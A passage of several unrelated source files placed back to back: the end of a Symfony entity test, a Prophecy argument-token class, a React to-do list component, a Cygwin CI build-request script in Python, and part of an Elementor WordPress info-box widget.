$fixture->getId())); $this->client->submitForm('Update', [ 'pret[date_rendu_prevue]' => (new \DateTime())->format('Y-m-d H:i:s'), 'pret[statut]' => 'Something New', 'pret[materiel_emprunte]' => "", 'pret[user_emprunteur]' => 1, ]); self::assertResponseRedirects('/pret/'); $fixtures = $this->repository->findAll(); self::assertEquals((new \DateTime())->format('Y-m-d'), $fixtures[0]->getDatePret()->format('Y-m-d')); self::assertSame('Something New', $fixtures[0]->getStatut()); } public function testRemove(): void { $originalNumObjectsInRepository = count($this->repository->findAll()); $user = new User(); $user->setEmail('user@example.com'); $fixture = new Pret(); $fixture->setDatePret(new \DateTime()); $fixture->setDateRenduPrevue(new \DateTime()); $fixture->setDateRenduUser(new \DateTime()); $fixture->setStatut('My Title'); $fixture->setMaterielEmprunte(null); $fixture->setUserEmprunteur(null); $this->manager->persist($fixture); $this->manager->flush(); self::assertSame($originalNumObjectsInRepository + 1, count($this->repository->findAll())); $this->client->request('GET', sprintf('%s%s', $this->path, $fixture->getId())); $this->client->submitForm('Delete'); self::assertSame($originalNumObjectsInRepository, count($this->repository->findAll())); self::assertResponseRedirects('/pret/'); }*/ }
<?php /* * (l) Konstantin Kudryashov <ever.zet@gmail.com> * Marcello Duarte <marcello.duarte@gmail.com> * */ namespace Prophecy\Argument\Token; /** * Array every entry token. * */ class ArrayEveryEntryToken implements TokenInterface { /** * @var TokenInterface */ private $value; /** * @param mixed $value exact value or token */ public function __construct($value) { if (!$value instanceof TokenInterface) { $value = new ExactValueToken($value); } $this->value = $value; } /** * {@inheritdoc} */ public function scoreArgument($argument) { if (!$argument instanceof \Traversable && !is_array($argument)) { return false; } $scores = array(); foreach ($argument as $key => $argumentEntry) { $scores[] = $this->value->scoreArgument($argumentEntry); } if (empty($scores) || in_array(false, $scores, true)) { return false; } return array_sum($scores) / count($scores); } /** * {@inheritdoc} */ public function isLast() { return false; } /** * {@inheritdoc} */ public function __toString() { return sprintf('[%s, ..., %s]', $this->value, $this->value); } /** * @return TokenInterface */ public function getValue() { return $this->value; } }
import "./Todolist.css"; import React, { useState, useEffect } from "react"; import CheckIcon from "@material-ui/icons/Check"; import EditIcon from "@material-ui/icons/Edit"; import CloseIcon from "@material-ui/icons/Close"; import ExpandMoreIcon from "@material-ui/icons/ExpandMore"; import axios from "axios"; function Todolist(props) { const [completed, setCompleted] = useState([]); const [inCompleted, setIncompleted] = useState([]); const [show, setShow] = useState(true); useEffect(() => { let newCompleted = props.todolist.map((task, index) => { if (task.isComplete === true) { return task; } else { return null; } }); //console.log(newCompleted); setCompleted(newCompleted); let newInCompleted = props.todolist.map((task, index) => { if (task.isComplete === false) { return task; } }); setIncompleted(newInCompleted); //console.log(newInCompleted); }, [props.todolist]); const todolist = props.todolist.map((task, index) => { const taskComplete = (task) => { axios .put(`http://localhost:8000/api/tasks/${task._id}`, { _id: task._id, todo: task.todo, isComplete: !task.isComplete, }) .then((res) => props.taskComplete(res.data)) .catch((err) => console.log(err)); }; const removeTask = (id) => { axios .delete(`http://localhost:8000/api/tasks/${id}`) .then((res) => props.removeTask(res.data)) .catch((err) => console.log(err)); }; return ( <li key={index}> <div style={{ display: "flex" }}> <CheckIcon className={task.isComplete ? "isComplete" : "checkicon"} /> <p className={task.isComplete ? "taskcomplete" : ""} onClick={() => { taskComplete(task); }} > {task.todo} </p> </div> <div> <EditIcon className="edit" onClick={() => { props.tasktoUpdate(task); props.showPopup(); }} /> <CloseIcon className="close" onClick={() => { removeTask(task._id); }} /> </div> </li> ); }); const removeTask = (id) => { axios .delete(`http://localhost:8000/api/tasks/${id}`) .then((res) => props.removeTask(res.data)) .catch((err) => console.log(err)); }; return ( <div className="tasklist"> <div className="list">n</div> <ExpandMoreIcon className="more" /> <button onClick={() => { if (show === true) { setShow(false); } else { setShow(true); } }} > {show === true ? <span>Incompleted</span> : <span>Completed</span>} </button> <div className="toggle"> <h3> {show === true ? ( <span>Completed Todos</span> ) : ( <span>Incompleted Todos</span> )} </h3> <ul> {show === true ? completed.map((task, id) => { if (task) { return ( <li key={id}> <div style={{ display: "flex" }}> <p>{task.todo}</p> </div> <div> <EditIcon className="edit" onClick={() => { props.tasktoUpdate(task); props.showPopup(); }} /> <CloseIcon className="close" onClick={() => { removeTask(task._id); }} /> </div> </li> ); } }) : inCompleted.map((task, id) => { if (task) { return ( <li key={id}> <div style={{ display: "flex" }}> <p>{task.todo}</p> </div> <div> <EditIcon className="edit" onClick={() => { props.tasktoUpdate(task); props.showPopup(); }} /> <CloseIcon className="close" onClick={() => { removeTask(task._id); }} /> </div> </li> ); } })} </ul> </div> <h3>All Todos</h3> <ul>{todolist}</ul> </div> ); } export default Todolist;
#!/usr/bin/env python3 # # start a package build via backend API # import contextlib import fcntl import json import logging import logging.handlers import os import re import sqlite3 import time import urllib.error import urllib.request import carpetbag import gh_token import appveyor_token # subclass TimedRotatingFileHandler with open umask class SharedTimedRotatingFileHandler(logging.handlers.TimedRotatingFileHandler): def _open(self): old_umask = os.umask(0o000) rtv = logging.handlers.RotatingFileHandler._open(self) os.umask(old_umask) return rtv rfh = SharedTimedRotatingFileHandler('/sourceware/cygwin-staging/logs/build-request.log', backupCount=48, when='midnight') rfh.setFormatter(logging.Formatter('%(asctime)s - %(levelname)-8s - %(message)s')) rfh.setLevel(logging.DEBUG) logging.getLogger().addHandler(rfh) logging.getLogger().setLevel(logging.NOTSET) @contextlib.contextmanager def locked(): old_umask = os.umask(0o000) lockfile = open('/tmp/scallywag.request_build.lock', 'w+') os.umask(old_umask) fcntl.flock(lockfile.fileno(), fcntl.LOCK_EX) logging.info("acquired request_build lock") try: yield lockfile finally: logging.info("releasing request_build lock") fcntl.flock(lockfile.fileno(), fcntl.LOCK_UN) lockfile.close() def _appveyor_build_request(package, maintainer, commit, reference, default_tokens, buildnumber): slug = 'scallywag' account, token = appveyor_token.fetch_token() data = { "accountName": account, "projectSlug": slug, "branch": "master", "environmentVariables": { "BUILDNUMBER": buildnumber, "PACKAGE": package, "MAINTAINER": maintainer, "COMMIT": commit, "REFERENCE": reference, "DEFAULT_TOKENS": default_tokens, } } req = urllib.request.Request('https://ci.appveyor.com/api/builds') req.add_header('Content-Type', 'application/json') req.add_header('Accept', 'application/json') req.add_header('Authorization', 'Bearer ' + token) try: response = urllib.request.urlopen(req, json.dumps(data).encode('utf-8')) except urllib.error.URLError as e: response = e status = response.getcode() if status != 200: print('scallywag: AppVeyor REST API failed status %s' % (status)) return -1 j = json.loads(response.read().decode('utf-8')) return j['buildId'] def _github_most_recent_wfr_id(): data = { "event": "repository_dispatch", "per_page": 1 } qs = urllib.parse.urlencode(data) req = urllib.request.Request('https://api.github.com/repos/cygwin/scallywag/actions/runs' + '?' + qs) req.add_header('Accept', 'application/vnd.github.v3+json') req.add_header('Authorization', 'Bearer ' + gh_token.fetch_iat()) try: response = urllib.request.urlopen(req) except urllib.error.URLError as e: response = e status = response.getcode() logging.info("runs REST API status %s" % status) if status != 200: print('scallywag: GitHub REST API failed status %s' % (status)) return 0, None resp = response.read().decode('utf-8') logging.info("runs REST API response %s" % resp) j = json.loads(resp) wfr = j['workflow_runs'] if len(wfr) <= 0: logging.info("no most recent wrf_id available") return 0, None logging.info("most recent wrf_id %s" % wfr[0]['id']) return wfr[0]['id'], wfr[0]['html_url'] def _github_workflow_trigger(package, maintainer, commit, reference, default_tokens, buildnumber): for _i in range(1, 60): prev_wfr_id, _ = _github_most_recent_wfr_id() if prev_wfr_id != 0: break logging.info("waiting before retry") time.sleep(1) else: logging.info("timeout waiting for GitHub to report previous wfr_id") print('scallywag: timeout waiting for GitHub to report previous wfr_id') # strip out any over-quoting in the token, as it's harmful to passing the # client_payload into scallywag via the command line default_tokens = re.sub(r'[\'"]', r'', default_tokens) data = { "event_type": "(%s) %s" % (buildnumber, package), # 'display_title', appears as the run name in UI "client_payload": { "BUILDNUMBER": buildnumber, "PACKAGE": package, "MAINTAINER": maintainer, "COMMIT": commit, "REFERENCE": reference, "DEFAULT_TOKENS": default_tokens, } } req = urllib.request.Request('https://api.github.com/repos/cygwin/scallywag/dispatches') req.add_header('Accept', 'application/vnd.github.v3+json') req.add_header('Authorization', 'Bearer ' + gh_token.fetch_iat()) try: response = urllib.request.urlopen(req, data=json.dumps(data).encode('utf-8')) except urllib.error.URLError as e: response = e status = response.getcode() if status != 204: print('scallywag: GitHub REST API failed status %s' % (status)) return -1, None # response has no content, and doesn't give an id for the workflow that # we've just requested. all we can do is poll the workflow runs list and # guess that the most recent one is ours. # # (it seems that it takes a little while for the requested run to appear in # the workflow run list, with status 'queued', and then some time later it # changes to status 'in_progress'.) # # and since there may exist other runs with status 'in_progress', the only # half-way reliable way to do this is to poll until a new wfr id appears... # # see https://github.community/t/repository-dispatch-response/17950 for _i in range(1, 60): wfr_id, buildurl = _github_most_recent_wfr_id() if wfr_id != prev_wfr_id: return wfr_id, buildurl logging.info("waiting before retry") time.sleep(1) logging.info("timeout waiting for GitHub to assign a wfr_id") print('scallywag: timeout waiting for GitHub to assign a wfr_id') return 0, None def request_build(commit, reference, package, maintainer, tokens=''): default_tokens = '' try: with open(os.path.join('/sourceware/cygwin-staging/home', maintainer, '!scallywag')) as f: default_tokens = ''.join([l.strip() for l in f.readlines()]) except FileNotFoundError: pass if tokens: default_tokens = default_tokens + ' ' + tokens if 'disable' in default_tokens: print('scallywag: disabled by you') return if 'nobuild' in default_tokens: print('scallywag: not building due to nobuild') return # record job as requested and generate buildnumber now = time.time() with sqlite3.connect(carpetbag.dbfile) as conn: cursor = conn.execute('INSERT INTO jobs (srcpkg, hash, ref, user, status, timestamp, tokens) VALUES (?, ?, ?, ?, ?, ?, ?)', (package, commit, reference, maintainer, 'requested', now, tokens)) buildnumber = cursor.lastrowid conn.commit() conn.close() # request job if 'appveyor' in default_tokens: backend = 'appveyor' bbid = _appveyor_build_request(package, maintainer, commit, reference, default_tokens, buildnumber) buildurl = None else: backend = 'github' with locked(): bbid, buildurl = _github_workflow_trigger(package, maintainer, commit, reference, default_tokens, buildnumber) # an error occurred requesting the job if bbid < 0: return print('scallywag: build {0} queued on {1}'.format(buildnumber, backend)) print('scallywag: https://cygwin.com/cgi-bin2/jobs.cgi?id={0}'.format(buildnumber)) # record job as pending with sqlite3.connect(carpetbag.dbfile) as conn: conn.execute('UPDATE jobs SET status = ?, logurl = ?, backend = ?, backend_id = ? WHERE id = ?', ('pending', buildurl, backend, bbid, buildnumber)) conn.commit() conn.close() def _github_workflow_cancel(wfr_id): req = urllib.request.Request('https://api.github.com/repos/cygwin/scallywag/actions/runs/{}/cancel'.format(wfr_id), method='POST') req.add_header('Accept', 'application/vnd.github.v3+json') req.add_header('Authorization', 'Bearer ' + gh_token.fetch_iat()) try: response = urllib.request.urlopen(req) except urllib.error.URLError as e: response = e status = response.getcode() if status != 202: print('scallywag: GitHub REST API failed status %s' % (status)) def cancel_build(backend, bbid): if backend == 'github': _github_workflow_cancel(bbid) else: print('job cancellation not implemented for backend %s' % backend)
<?php /** * Elementor Info Box Widget. * * Elementor widget that inserts an embbedable content into the page, from any given URL. * * @since 1.0.0 */ class Info_Box_Widget extends \Elementor\Widget_Base { /** * Get widget name. * * Retrieve Info Box widget name. * * @since 1.0.0 * @access public * * @return string Widget name. */ public function get_name() { return 'Info Box'; } /** * Get widget title. * * Retrieve Info Box widget title. * * @since 1.0.0 * @access public * * @return string Widget title. */ public function get_title() { return __( 'Info Box', 'infobox-elementor-addon' ); } /** * Get widget icon. * * Retrieve Info Box widget icon. * * @since 1.0.0 * @access public * * @return string Widget icon. */ public function get_icon() { return 'eicon-image-box'; } /** * Get widget categories. * * Retrieve the list of categories the Info Box widget belongs to. * * @since 1.0.0 * @access public * * @return array Widget categories. */ public function get_categories() { return [ 'papanbiswasbd' ]; } /** * Register Info Box widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 1.0.0 * @access protected */ protected function _register_controls() { $this->start_controls_section( 'infobox_section_layout_style', [ 'label' => __( 'Layout Style', 'infobox-elementor-addon' ), 'tab' => \Elementor\Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'infobox_layout_style', [ 'label' => esc_html__( 'Layout', 'textdomain' ), 'type' => \Elementor\Controls_Manager::SELECT, 'default' => 'style-1', 'options' => [ 'style-1' => esc_html__( 'Style 1', 'textdomain' ), 'style-2' => esc_html__( 'Style 2', 'textdomain' ), 'style-3' => esc_html__( 'Style 3', 'textdomain' ), 'style-4' => esc_html__( 'Style 4', 'textdomain' ), 'style-5' => esc_html__( 'Style 5', 'textdomain' ), ], ] ); $this->add_control( 'infobox_layout_style_hover_effect', [ 'label' => esc_html__( 'Hover Effects', 'textdomain' ), 'type' => \Elementor\Controls_Manager::SELECT, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'textdomain' ), 'hover-effect-1' => esc_html__( 'Effect 1', 'textdomain' ), 'hover-effect-2' => esc_html__( 'Effect 2', 'textdomain' ), 'hover-effect-3' => esc_html__( 'Effect 3', 'textdomain' ), 'hover-effect-4' => esc_html__( 'Effect 4', 'textdomain' ), 'hover-effect-5' => esc_html__( 'Effect 5', 'textdomain' ), 'hover-effect-6' => esc_html__( 'Effect 6', 'textdomain' ), 'hover-effect-7' => esc_html__( 'Effect 7', 'textdomain' ), 'hover-effect-8' => esc_html__( 'Effect 8', 'textdomain' ), 'hover-effect-9' => esc_html__( 'Effect 9', 'textdomain' ), 'hover-effect-10' => esc_html__( 'Effect 10', 'textdomain' ), ], ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'infobox_wrapper_hover_effect_color', 'types' => [ 'classic', 'gradient'], 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper::after', 'condition' => [ 'infobox_layout_style_hover_effect' => ['hover-effect-1', 'hover-effect-2', 'hover-effect-3', 'hover-effect-4', 'hover-effect-5', 'hover-effect-6', 'hover-effect-7', 'hover-effect-8', 'hover-effect-9', 'hover-effect-10'], ], ] ); $this->end_controls_section(); $this->start_controls_section( 'content_section', [ 'label' => __( 'Content', 'infobox-elementor-addon' ), 'tab' => \Elementor\Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'infobox_label', [ 'label' => esc_html__( 'Show Label', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'papanbiswasbd' ), 'label_off' => esc_html__( 'Hide', 'papanbiswasbd' ), 'return_value' => 'yes', 'default' => 'yes', ] ); $this->add_control( 'infobox_label_title', [ 'label' => esc_html__( 'Label Text', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::TEXT, 'default' => esc_html__( 'New', 'papanbiswasbd' ), 'condition' => [ 'infobox_label' => 'yes', ], ] ); $this->add_control( 'infobox_image', [ 'label' => esc_html__( 'Choose Cover Image', 'textdomain' ), 'type' => \Elementor\Controls_Manager::MEDIA, 'default' => [ 'url' => \Elementor\Utils::get_placeholder_image_src(), ], 'condition' => [ 'infobox_layout_style' => ['style-2', 'style-3'], ], ] ); $this->add_control( 'infobox_icon_image', [ 'label' => esc_html__( 'Choose Option', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::CHOOSE, 'options' => [ 'none' => [ 'title' => esc_html__( 'None', 'papanbiswasbd' ), 'icon' => 'eicon-ban', ], 'icon' => [ 'title' => esc_html__( 'Icon', 'papanbiswasbd' ), 'icon' => 'eicon-preview-medium', ], 'image' => [ 'title' => esc_html__( 'Image', 'papanbiswasbd' ), 'icon' => 'eicon-image-bold', ], ], 'default' => 'icon', 'toggle' => false, ] ); $this->add_control( 'infobox_icon', [ 'label' => esc_html__( 'Icon', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::ICONS, 'default' => [ 'value' => 'fas fa-bell', 'library' => 'fa-regular', ], 'condition' => [ 'infobox_icon_image' => 'icon', ], ] ); $this->add_control( 'infobox_image_icon', [ 'label' => esc_html__( 'Choose Image', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::MEDIA, 'default' => [ 'url' => \Elementor\Utils::get_placeholder_image_src(), ], 'condition' => [ 'infobox_icon_image' => 'image', ], ] ); $this->add_control( 'infobox_title', [ 'label' => esc_html__( 'Title', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::TEXT, 'default' => esc_html__( 'This is Awesome', 'papanbiswasbd' ), 'placeholder' => esc_html__( 'Type Info Box Title', 'papanbiswasbd' ), 'label_block' => true, ] ); $this->add_control( 'infobox_subtitle_switcher', [ 'label' => esc_html__( 'Enable Subtitle', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'papanbiswasbd' ), 'label_off' => esc_html__( 'Hide', 'papanbiswasbd' ), 'return_value' => 'yes', 'default' => 'no', ] ); $this->add_control( 'infobox_subtitle', [ 'label' => esc_html__( 'Subtitle', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::TEXT, 'default' => esc_html__( 'This is Awesome Subtitle', 'papanbiswasbd' ), 'placeholder' => esc_html__( 'Type subtitle here', 'papanbiswasbd' ), 'label_block' => true, 'condition' => [ 'infobox_subtitle_switcher' => 'yes', ], ] ); $this->add_control( 'infobox_description', [ 'label' => esc_html__( 'Description', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::TEXTAREA, 'rows' => 10, 'default' => esc_html__( 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Impedit corporis incidunt veritatis perspiciatis non aspernatur cum illum ipsum quam dignissimos!', 'papanbiswasbd' ), 'placeholder' => esc_html__( 'Type your description here', 'papanbiswasbd' ), ] ); $this->add_control( 'infobox_button', [ 'label' => esc_html__( 'Enable Button', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'papanbiswasbd' ), 'label_off' => esc_html__( 'Hide', 'papanbiswasbd' ), 'return_value' => 'yes', 'default' => 'yes', ] ); $this->add_control( 'imagebox_selected_icon', array( 'label' => __('Icon', 'papanbiswasbd'), 'type' => \Elementor\Controls_Manager::ICONS, 'label_block' => false, 'default' => array( 'value' => 'fas fa-external-link-alt', 'library' => 'fa-solid', ), 'skin' => 'inline', 'condition' => [ 'infobox_button' => 'yes', ], ) ); $this->add_control( 'infobox_icon_position', [ 'label' => esc_html__( 'Icon Position', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'papanbiswasbd' ), 'icon' => 'eicon-text-align-left', ], 'right' => [ 'title' => esc_html__( 'Right', 'papanbiswasbd' ), 'icon' => 'eicon-text-align-right', ], ], 'default' => 'left', 'toggle' => false, 'condition' => [ 'infobox_button' => 'yes', ], ] ); $this->add_control( 'infobox_button_title', [ 'label' => esc_html__( 'Button Text', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::TEXT, 'default' => esc_html__( 'Learn More', 'papanbiswasbd' ), 'condition' => [ 'infobox_button' => 'yes', ], ] ); $this->add_control( 'infobox_button_link', [ 'label' => esc_html__( 'Button Link', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::URL, 'options' => [ 'url', 'is_external', 'nofollow' ], 'default' => [ 'url' => '#', 'is_external' => false, 'nofollow' => false, // 'custom_attributes' => '', ], 'label_block' => true, 'condition' => [ 'infobox_button' => 'yes', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'infobox_social_icon_style', [ 'label' => __( 'Social Icon', 'infobox-elementor-addon' ), 'tab' => \Elementor\Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'social_icon_swithcer', [ 'label' => esc_html__( 'Show Label', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'papanbiswasbd' ), 'label_off' => esc_html__( 'Hide', 'papanbiswasbd' ), 'return_value' => 'yes', 'default' => 'no', ] ); $this->add_control( 'infobox_social_icons', [ 'label' => esc_html__( 'Social Icons', 'textdomain' ), 'type' => \Elementor\Controls_Manager::REPEATER, 'condition' => [ 'social_icon_swithcer' => 'yes', ], 'fields' => [ [ 'name' => 'infobox_social_icon_item', 'label' => esc_html__( 'Icon', 'textdomain' ), 'type' => \Elementor\Controls_Manager::ICONS, 'fa4compatibility' => 'social_icon', 'default' => [ 'value' => 'fab fa-facebook-f', 'library' => 'fa-brands', ], 'recommended' => [ 'fa-brands' => [ 'android', 'apple', 'behance', 'bitbucket', 'codepen', 'delicious', 'deviantart', 'digg', 'dribbble', 'elementor', 'facebook', 'flickr', 'foursquare', 'free-code-camp', 'github', 'gitlab', 'globe', 'google-plus', 'houzz', 'instagram', 'jsfiddle', 'linkedin', 'medium', 'meetup', 'mixcloud', 'odnoklassniki', 'pinterest', 'product-hunt', 'reddit', 'shopping-cart', 'skype', 'slideshare', 'snapchat', 'soundcloud', 'spotify', 'stack-overflow', 'steam', 'stumbleupon', 'telegram', 'thumb-tack', 'tripadvisor', 'tumblr', 'twitch', 'twitter', 'viber', 'vimeo', 'vk', 'weibo', 'weixin', 'whatsapp', 'wordpress', 'xing', 'yelp', 'youtube', '500px', ], 'fa-solid' => [ 'envelope', 'link', 'rss', ], ], ], [ 'name' => 'list_title_link', 'label' => esc_html__( 'Link', 'textdomain' ), 'type' => \Elementor\Controls_Manager::URL, 'options' => [ 'url', 'is_external', 'nofollow' ], 'default' => [ 'url' => '#', 'is_external' => false, 'nofollow' => false, // 'custom_attributes' => '', ], 'label_block' => true, ], ], 'default' => [ [ 'list_title' => esc_html__( 'Social Icon', 'textdomain' ), ], ], 'title_field' => '{{{ list_title }}}', ] ); $this->end_controls_section(); $this->start_controls_section( 'wrapper_style', [ 'label' => esc_html__( 'Infobox Style', 'papanbiswasbd' ), 'tab' => \Elementor\Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'infobox_wrapper_alignment_style', [ 'label' => esc_html__( 'Alignment', 'textdomain' ), 'type' => \Elementor\Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'textdomain' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'textdomain' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'textdomain' ), 'icon' => 'eicon-text-align-right', ], ], 'default' => 'center', 'toggle' => false, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper' => 'text-align: {{VALUE}};', ], ] ); $this->start_controls_tabs( 'style_tabs' ); $this->start_controls_tab( 'style_normal_tab', [ 'label' => esc_html__( 'Normal', 'papanbiswasbd' ), ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'background', 'types' => [ 'classic', 'gradient', 'video' ], 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper', ] ); $this->add_control( 'infobox_wrapper_padding', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Border::get_type(), [ 'name' => 'border', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper', ] ); $this->add_group_control( \Elementor\Group_Control_Box_Shadow::get_type(), [ 'name' => 'infobox_box_shadow', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper', ] ); $this->add_control( 'infobox_transition', [ 'label' => esc_html__( 'Transition', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::NUMBER, 'min' => 0, 'max' => 5, 'step' => 0.1, 'default' => 0.3, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main' => 'transition: {{UNIT}}s;', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'style_hover_tab', [ 'label' => esc_html__( 'Hover', 'papanbiswasbd' ), ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'background_hover', 'types' => [ 'classic', 'gradient', 'video' ], 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover', ] ); $this->add_control( 'infobox_wrapper_padding_hover', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Border::get_type(), [ 'name' => 'border_hover', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover', ] ); $this->add_group_control( \Elementor\Group_Control_Box_Shadow::get_type(), [ 'name' => 'infobox_box_shadow_hover', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover', ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); $this->start_controls_section( 'infobox_label_style', [ 'label' => esc_html__( 'Label Style', 'papanbiswasbd' ), 'tab' => \Elementor\Controls_Manager::TAB_STYLE, 'condition' => [ 'infobox_label' => 'yes', ], ] ); $this->add_control( 'infobox_label_padding', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} span.ee--image-icon-box-label' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_label_margin', [ 'label' => esc_html__( 'Margin', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} span.ee--image-icon-box-label' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_label_color', [ 'label' => esc_html__( 'Label Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} span.ee--image-icon-box-label' => 'color: {{VALUE}}', ], ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'background_for_label', 'types' => [ 'classic', 'gradient'], 'selector' => '{{WRAPPER}} span.ee--image-icon-box-label', 'exclude' => ['image'], ] ); $this->add_group_control( \Elementor\Group_Control_Border::get_type(), [ 'name' => 'infobox_label_border', 'selector' => '{{WRAPPER}} span.ee--image-icon-box-label', ] ); $this->add_control( 'infobox_label_border_radius', [ 'label' => esc_html__( 'Border Radius', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} span.ee--image-icon-box-label' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'infobox_icon_style', [ 'label' => esc_html__( 'Icon Style', 'papanbiswasbd' ), 'tab' => \Elementor\Controls_Manager::TAB_STYLE, 'condition' => [ 'infobox_icon_image' => 'icon', ], ] ); $this->start_controls_tabs( 'infobox_icon_normal' ); $this->start_controls_tab( 'infobox_icon_style_normal', [ 'label' => esc_html__( 'Normal', 'papanbiswasbd' ), ] ); $this->add_control( 'infobox_icon_size', [ 'label' => esc_html__( 'Icon Size', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem' ], 'range' => [ 'px' => [ 'min' => 20, 'max' => 250, 'step' => 1, ], 'em' => [ 'min' => 0, 'max' => 100, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main svg' => 'width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_icon_rotation', [ 'label' => esc_html__( 'Icon Rotation', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 1, 'max' => 360, 'step' => 1, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main' => 'transform: rotate({{SIZE}}deg);', ], ] ); $this->add_control( 'infobox_icon_padding', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_icon_margin', [ 'label' => esc_html__( 'Margin', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main-wrap' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_icon_color', [ 'label' => 